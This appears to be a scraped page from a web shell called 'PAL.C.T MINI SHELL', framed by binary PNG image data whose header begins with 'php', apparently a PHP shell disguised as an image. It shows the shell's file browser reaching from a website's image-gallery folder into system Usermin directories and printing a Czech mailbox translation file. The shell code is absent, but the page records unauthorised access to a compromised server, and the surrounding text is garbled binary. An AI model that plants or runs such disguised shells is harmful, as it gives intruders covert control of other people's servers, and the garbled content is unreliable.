‰php  IHDRwQ)Bća pHYs  šœsRGBŽÎégAMAą üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ştw.“oŕWpĺ§;—ł°QHZnw˘`gaiJ’9Ţˆ‰ŃŇ̟灙űžýÍaî=ˇnlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸ˇy H†Ż@E7j­Í 1j+OFĽ–€‹Rg}ÜŤ‘;@’E™ÖašąůáÓ~ ˙j`Ůuű'ož> ŮjÝ-$˜_§q?žq¸SXzG'ĺóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/usermin/mailbox/ulang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/usermin/mailbox/ulang/cz

index_title=Pošta ve složce $1
mail_title=Číst poštu
mail_none=Ve složce nejsou žádné zprávy  $1
mail_pos=Zprávy $1 až $2 ze $3 ve složce $4
mail_return=poštovní schránku
mail_quota=Je využito $1 ze $2
mail_special=Speciální

send_efile=Přiložený soubor $1 není čitelný nebo neexistuje
send_nobody=nikdo
send_etomsg=Nebyla zadána žádná adresa Komu, Kopie, Skrytá kopie
send_esubjectmsg=Zpráva nemá žádný předmět - předpokládáme, že je to v pořádku

address_chooser=Vybrat adresu..
address_addr=Emailová adresa
address_name=Jméno
address_none=Váš adresář je prázdný.
address_none2=Vašemu hledání neodpovídá žádná adresa.
address_title=Adresář
address_desc=Během psání nového emailu můžete vybrat z níže uvedené tabulky adresy. Adresy se přidávají kliknutím na ně samotné během prohlížení emailové zprávy.
address_edit=Upravit..
address_delete=Smazat
address_add=Přidat novou adresu.
address_err=Nepodařilo se uložit adresu
address_eaddr=Chybící nebo neplatná emailová adresa (jako například jmeno@doména.cz)
address_from=Adresa Od?
address_yd=Ano, defaultní
address_gdesc=V této části jsou uvedeny přezdívky, které můžete jednoduše používat, když budete chtít posílat zprávy jednotlivcům i skupinám příjemců bez potřeby používat plnou emailovou adresu.
address_gadd=Přidat novou přezdívku nebo skupinu.
address_gnone=Váš seznam přezdívek je prázdný.
address_group=Přezdívka
address_members=Emailová adresa
address_m=$1 položek
address_search=Najít adresy odpovídající:
address_ok=Hledat
address_users=Emailové adresy
address_groups=Emailové přezdívky

group_err=Nepodařio se uložit skupinu adres
group_egroup=chybějící nebo neplatné jméno skupiny
group_emembers=Ve skupině nebyla zadaná žádná emailová adresa

folders_title=Spravovat složky
folders_instr=Nápověda a druhy složek
folders_desc2=Každá z níže uvedených složek může obsahovat poštu, kterou do nich můžete přesunout nebo která je do nich umísťována automaticky. K dispozici jsou následující druhy složek:
folders_descsys=Systémové složky jako jsou Příchozí pošta, Koncepty a Odeslaná pošta existují vždy.
folders_desclocal=Složky v adresáři <tt>mail</tt> mohou být vytvářeny nebo mazány pomocí Userminu.
folders_descext=Ostatní soubory nebo adresáře, které mohou být obhospodařovány Userminem.
folders_descpop3=POP3 účty na jiných serverech se kterými lze zacházet jako se složkami.
folders_descimap=IMAP účty na jiných serverech.
folders_desccomp=Složené složky, které kombinují dvě nebo více složek do jedné.
folders_descvirt=Virtuální složky, které obsahují výběr emailů z jiných složek.
folders_name=Jméno složky
folders_path=Umístění
folders_type=Druh
folders_size=Velikost
folders_maildir=Adresář
folders_mbox=Soubor
folders_mhdir=MH adresář
folders_create=Vytvořit novou složku
folders_add=Přidat existující soubor nebo adresář jako složku
folders_return=seznam složek
folders_serv=$1 na serveru $2
folders_servp=$1 na serveru $2 port $3
folders_padd=Přidat POP3 účet jako složku
folders_iadd=Přidat IMAP mailbox jako složku
folders_cadd=Vytvořit novou složku složek.
folders_num=Obsahuje $2 zpráv ve $1 složkách
folders_vnum=Obsahuje $1 zpráv
folders_vtype=Virtuální
folders_comp=Složený
folders_virt=Virtuální
folders_newfolder=Přidat složku typu:
folders_type_local=Místní soubor s poštou
folders_type_ext=Externí soubor s poštou
folders_type_pop3=Účet POP3
folders_type_imap=Účet IMAP
folders_type_comp=Složka složek
folders_type_virt=Virtuální složka
folders_action=Možnosti..
folders_view=Prohlížet
folders_copy=Kopírovat
folders_auto=Automatické mazání
folders_delete=Smazat vybrané složky
folders_addimap=Přidat novou složku.
folders_addcomp=Přidat novou složenou složku.
folders_addvirt=Přidat novou virtuální složku.

edit_title1=Vytvořit složky
edit_title2=Upravit složku
edit_header=Detaily poštovní složky
edit_mode=Druh složky
edit_mode0=Soubor pod $1
edit_mode1=Externí poštovní soubor
edit_mode2=Soubor odeslané pošty
edit_name=Jméno složky
edit_type=Druh úložiště
edit_type0=Jednoduchý soubor (mbox)
edit_type1=Qmail poštovní adresář (Maildir)
edit_type3=MH adresář (MH)
edit_file=Externí poštovní soubor nebo adresář
edit_sent=Soubor nebo adresář s odeslanou poštou
edit_sent1=Defaultní nastavení Userminu
edit_sent0=Externí soubor nebo adresář s poštou
edit_perpage=Počet zpráv zobrazených na jedné stráně
edit_sentview=Zobrazit adresu Komu: místo Od: ?
edit_pop3=POP3 účet
edit_imap=IMAP mailbox
edit_server=POP3 server
edit_port=Číslo portu
edit_iserver=IMAP server
edit_user=Uživatelské jméno na serveru
edit_usersame=Stejné jako logovací jméno do Userminu
edit_pass=Heslo pro daný server
edit_mailbox=IMAP mailbox
edit_imapinbox=Složka s příchozí poštou
edit_imapother=Jiná složka s poštou
edit_fromaddr=Adresa Od: pro zprávy ze složky
edit_hide=Skrýt v nabídce složek?
edit_comps=podsložky, nejstarší první
edit_comp=Složená
edit_virt=Virtuální
edit_delete=Mazat reálné emaily během mazání ve složce?

save_err=Nepodařilo se uložit složku
save_ecannot=Nejste oprávněn používat složku tohoto typu
save_ename=Chybějící jméno složky
save_ecompsame=Složená složka nemůže obsahovat stejné podsložky dvakrát
save_ename2=Jména složek nesmí obsahovat ..
save_ename3=Jméno složky INBOX je rezervováno pro IMAP server
save_esys=Jméno složky je v konfliktu s jednou ze systémových složek
save_eclash=Složka stejného jména již existuje
save_embox='$1' nevypadá jako platný soubor poštovní složky
save_emaildir='$1' nevypadá jako platný Qmail or MH poštovní adresář
save_efile='$1' neexistuje nebo není přístupný
save_eindir=Externí soubory pošty nemohou být pod adresářem složek $1
save_title=Smazat složku
save_rusure=Opravdu chcete smazat složku $1 ve $2? Bude nenávratně odstraněno $3 emailů.
save_rusure2=Opravdu chcete smazat složku $1? Bude nenávratně odstraněno $2 emailů.
save_delete=Smazat nyní
save_eserver=Chybějící nebo neplatný POP3 server
save_euser=Chybějící uživatelské jméno
save_elogin=Přihlášení k POP3 serveru se nezdařilo : $1
save_elogin2=Přihlášení k IMAP serveru se nezdařilo : $1
save_eperpage=Chybějící nebo neplatný počet zpráv na stránku
save_eport=Chybějící nebo neplatné číslo portu
save_efromaddr=chybějící nebo neplatná adresa Od:
save_emailbox=Nepodařilo se otevřít IMAP mailbox : $1
save_emailbox2=Chybějící nebo neplatný IMAP mailbox
save_edelete=Nepodařilo se smazat email : $1
save_eflag=Nepodařilo se nastavit příznaky IMAP : $1
save_eappend=Nepodařilo se přidat email do IMAP mailboxu : $1
save_esearch=Nepodařilo se prohledávat IMAP mailbox : $1

epop3lock_tries=Po dobu $2 minut se nepodařilo zamknout soubor s poštou $1, z důvodů zámku POP3.

view_dsn=Potvrzení o doručení
view_dnsnow=Potvrzení o doručení bylo právě posláno na $1.
view_dsnbefore=Potvrzení o doručení bylo posláno na $1 na $2.
view_dsnreq=$1 vyžaduje potvrzení o doručení tohoto emailu.
view_dsnsend=Poslat potvrzení nyní
view_dsngot=Tato zpráva byla přečtena $1 na $2.
view_delfailed=Tato zpráva nemůže být doručena $1 na $2.
view_delok=Tato zpráva byla doručena $1 na $2.
view_quick=Rychlá odpověď
view_quick_all=Odpovědět všem
view_quick_quote=Citovat původní zprávu
view_quick_send=Odeslat

reply_dsn=Vyžadovat potvrzení o čtení?
reply_del=Vyžadovat potvrzení o doručení?
reply_aboot=Přidat příjemce do adresáře?
reply_tabfrom=Od
reply_tabto=Komu
reply_tabreplyto=Odpověď-komu
reply_tabcc=Kopie
reply_tabbcc=Skrytá kopie
reply_tabsigning=Podpisy
reply_taboptions=Volby
reply_addattach=Přidat políčko přílohy.
reply_addssattach=Přidat políčko přílohy ze serveru.
reply_html0=Psát v textovém formátu text
reply_html1=Psát v HTML formátu

search_virtualize=Vytvořit virtuální složku se jménem:
search_dest=Uložit výsledky do
search_dest1=Složka s výsledky hledání
search_dest0=Nová virtuální složka pojmenovaná
search_edest=Pro výsledky chybí jméno virtuální složky

virtualize_ename=Chybějící virtuální složka jména

delete_enoadd=Zprávy nelze přesunout do virtuálních složek, pouze kopírovat

sig_title=Upravit podpis
sig_desc=Tento formulář slouží pro úpravu vašeho podpisu připojovaného k emailu v souboru $1.
sig_undo=Změny zpět
sig_enone=Nebyl definován žádný soubor s podpisem
sig_eopen=Nepodařilo se otevřít soubor s podpisem : $1

quota_inbox=Byla překročena kvóta $1 pro email
quota_inbox2=Kvóta $1 emailů byla překročena

auto_title=Automatické promazávání složek
auto_header=Možnosti plánování promazávaní složek
auto_enabled=Mazat zprávy automaticky?
auto_mode=Kritéria pro mazání
auto_days=Zprávy starší než $1 dní
auto_size=Zprávy, které zvětšují složku přes $1
auto_err=Nepodařilo se nastavit automatické promazávání složky
auto_edays=Chybící nebo neplatný počet dní
auto_esize=Chybící nebo neplatná maximální velikost složky
auto_name=Složka k promazávání
auto_invalid=Mazat zprávy s neplatným datumem
auto_action=Akce když budou nalezeny zprávy ke smazání
auto_action0=Smazat odpovídající zprávy
auto_action1=Smazat všechny zprávy ve složce

copy_title=Kopírování veškeré pošty
copy_header=Zkopírovat všechny zprávy ve složce
copy_source=Zdrojová složka
copy_dest=Cílová složka
copy_move=Smazat ve zdrojové složce?
copy_ok=Zkopírovat nyní
copy_doing=Kopírování všech zpráv z $1 do $2 ..
copy_done=.. dokončeno
copy_deleting=Promazávání složky $1 ..

fdelete_title=Mazání složek
fdelete_err=Nepodařilo se odstranit složky
fdelete_enone=Nebylo nic vybráno
fdelete_rusure=Opravdu chcete smazat $1 vybraných složek? $2 emailů bude nenávratně odstraněno.
fdelete_rusure2=Opravdu chcete smazat $1 vybraných složek?
fdelete_delete=Smazat nyní

detachall_err=Nepodařilo se uložit všechny přílohy
detachall_emkdir=Nepodařilo se vytvořit dočasný adresář : $1
detachall_ezip=ZIP selhal : $1
ß yôĘá˝~ŒorŔ5ÖJ™={ţÁEÇęežu磝QkŽ•áŻ˜G{÷?ůťă+—]üôçƒÉÍ×ןô?wűM3X^śÚ㭌>{´7Ůžě´Kă>čo˛ÎnÝ\˙ލĘjżyˇđR Łőăg/î=Ţ˙fúOçÖrˇo×NVĘvżú~˙Y+üżNGęu÷řˇĂŽ›ţëšHWŠűyëwĆ[eQśĘ¨žSÚb­Ö>öÍËÇţł>ä}Gçmx[o[<ŢÚ{đýŸĎŽ_ĹďqF– ÚŰvMIENDŽB`‚